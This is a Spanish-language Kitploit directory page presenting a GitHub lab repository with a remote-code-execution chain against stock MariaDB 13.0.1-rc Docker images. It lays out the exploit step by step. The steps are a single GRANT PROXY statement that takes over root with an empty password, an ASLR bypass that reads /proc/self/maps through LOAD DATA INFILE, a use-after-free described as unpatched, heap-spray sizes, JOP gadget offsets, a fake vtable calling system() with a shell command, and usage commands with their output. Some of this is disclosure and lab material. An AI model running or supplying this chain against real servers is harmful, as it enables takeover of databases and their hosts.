Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
mariadb-13-rce-lab — Laboratorio de RCE de MariaDB 13.0.1-rc — escalada de privilegios + UAF de heap + cadena JOP a system() como uid 999(mysql) en la imagen estándar de Docker. Encontrado con RAPTOR y raptor-loop-hunt. | Kitploit
Herramientas/GitHubGitHub/dinosn/mariadb-13-rce-lab
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónDesarrollo de PayloadsSeguridad de Bases de DatosExplotación de BinariosLabs y Práctica
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

Laboratorio de RCE de MariaDB 13.0.1-rc — escalada de privilegios + UAF de heap + cadena JOP a system() como uid 999(mysql) en la imagen estándar de Docker. Encontrado con RAPTOR y raptor-loop-hunt.

336hace 17 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Laboratorio de RCE MariaDB 13.0.1-rc

Ejecución remota de código en la imagen Docker estándar sin modificar de MariaDB 13.0.1-rc como uid 999 (mysql).

Dos variantes de exploit:

VarianteArchivoRequisitosNotas
SQL puro (recomendado)exploit_pure_sql.pyuna cuenta MariaDB de bajos privilegios + TCPsin acceso al host, sin docker, sin /proc/mem, sin contraseña de root
PoC asistida por el hostexploit.pyroot en el host Dockerescribe la cadena JOP vía /proc/<pid>/mem

Probado y verificado en: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 ejecuciones, cada una con bases ASLR nuevas).

Modelo de ataque de SQL puro (exploit_pure_sql.py)

El atacante cuenta únicamente con:

  • una cuenta MariaDB de solo USAGE (el usuario lowpriv de compose) + su contraseña, y
  • conectividad TCP al puerto 3306.

Toda la cadena se ejecuta mediante sentencias SQL; sin acceso a procesos del lado del host, sin comandos docker, sin direcciones conocidas. Cada dirección en tiempo de ejecución se obtiene del propio objetivo vía SQL:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

Las únicas operaciones no SQL restantes son tareas posteriores al exploit: reiniciar el contenedor (ya caído) y mostrar el archivo marcador — no forman parte de la explotación.

Sustitución de los antiguos auxiliares del lado del host

Uso (SQL puro)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Solo requiere un cliente mariadb/mysql y Python 3. --container se usa para la visualización final del marcador (reinicio + cat) y puede omitirse si el marcador se verifica de otra forma.

Salida esperada al final:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Cadena de vulnerabilidades (ambas variantes)

1. F-09 — Escalada de privilegios (cualquier usuario → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' omite todas las comprobaciones de privilegios. La cláusula de autenticación vacía hace que LEX_USER::has_auth() devuelva false (omitiendo check_alter_user()), mientras que replace_user_table() aún aplica la contraseña vacía — reemplazando las credenciales de root. Una sola sentencia SQL, cualquier usuario autenticado, todas las versiones publicadas de MariaDB.

2. Derrota de ASLR vía /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' lee el diseño completo de memoria del proceso mariadbd desde SQL, revelando la base PIE y las direcciones base de libc. Funciona con secure_file_priv = NULL (sin establecer) en la imagen original.

3. F-05 — use-after-free de SYS_REFCURSOR (0day, sin corregir upstream)

sp_cursor_array::get_cursor_by_ref() devuelve un puntero interior a un Dynamic_array cuyo almacenamiento subyacente es reubicado por my_realloc al crecer. Cuando el método open() de un cursor ejecuta SQL controlado por el atacante que abre cursores adicionales, el array crece, el almacenamiento antiguo se libera y el puntero en caché del llamador queda colgante.

El fragmento liberado (16 cursores x 112 bytes = 1792 bytes) es reclamado mediante un heap spray de 128 copias de variables de usuario de 1784 bytes cada una (ajuste exacto para el fragmento de glibc). La carga útil del spray coloca un puntero vtable controlado en el desplazamiento 0x20 (el miembro result de sp_cursor), que posteriormente se usa para el despacho virtual:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. Cadena JOP → system()

Dos gadgets JOP del binario mariadbd original (sin ROP, sin pivot de pila):

GadgetDesplazamientoInstrucciónPropósito
D2PIE+0x80da77call *0x100(%rax)Corrección de alineación de pila
D1PIE+0xe3075b

La vtable falsa V reside en el búfer de 128 MiB; diseño:

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. El truco de descubrimiento de direcciones en SQL puro (nuevo)

El problema del huevo y la gallina de escribir datos JOP autorreferenciales antes de conocer la dirección del búfer se resuelve mediante el comportamiento de mmap de glibc:

  1. asignar un búfer marcador de 128 MiB → región mmap dedicada (0x8001000, datos en región+0x30) → dirección encontrada vía diff de /proc/self/maps
  2. reasignar el búfer con el diseño completo (autorreferencia = V+0x140) → glibc desmapea el fragmento antiguo y reutiliza la misma ranura → dirección estable
  3. cada paso se verifica releyendo /proc/self/maps; si la dirección alguna vez se mueve, la autorreferencia se vuelve a incrustar y se reintenta la escritura (converge en una iteración en la práctica)

Variante asistida por el host (exploit.py)

Misma cadena, pero el diseño JOP se escribe en el proceso vía /proc/<pid>/mem desde el host Docker (se requiere root), el script del payload se crea mediante docker exec, y se conecta con la contraseña de root del archivo compose. Se conserva como PoC histórica; la variante de SQL puro lo sustituye.

Notas

  • El UAF de SYS_REFCURSOR F-05 no está corregido upstream a fecha de 2026-08-03 (cero commits en sql/sp_cursor.{cc,h} entre la etiqueta 13.0.1 y HEAD).
  • La corrección de la escalada de privilegios F-09 (dbd60d0ad8d, MDEV-40470) está en ramas de desarrollo pero ausente de todas las versiones publicadas (verificado de 13.0.1 a 10.6.27).
  • Se eligieron 128 MiB porque el umbral dinámico de mmap de glibc puede crecer más allá de 4 MiB tras liberaciones grandes; 128 MiB obtienen de forma fiable una región mmap dedicada (verificado con 128 y 256 MiB; un tamaño mayor que max_allowed_packet falla, así que SET GLOBAL max_allowed_packet se aumenta primero y se usa una conexión nueva).
  • El desplazamiento de datos dentro de la región mmap es +0x30 en esta imagen/glibc (verificado en varias ejecuciones; actualiza DATA_OFF si alguna vez difiere).

Descubierto con

  • RAPTOR — Marco autónomo de investigación ofensiva/defensiva
  • raptor-loop-hunt — plugin iterativo de búsqueda de vulnerabilidades
Descargar herramienta
Antiguo auxiliar (exploit.py)Reemplazo en SQL puro
docker inspect → PID + /proc/<pid>/maps del lado del hostLOAD DATA INFILE '/proc/self/maps'
escrituras de /proc/<pid>/mem del lado del host para la cadena JOPdiseño incrustado vía CONCAT/UNHEX en la asignación; dirección obtenida del diff de maps en SQL; la reutilización de la ranura mmap mantiene válida la autorreferencia
docker exec ... echo CMD > /tmp/payload_cmd.shcadena de comando incrustada directamente en el diseño JOP
mariadb -uroot -plabpass (contraseña de root)escalada GRANT PROXY desde la cuenta de bajos privilegios
docker exec ... cat MARKERsolo se usa para mostrar la prueba
mov rdi,[rax+0xa8]; call [rax+0xa0]
Cargar ptr de comando, llamar a system()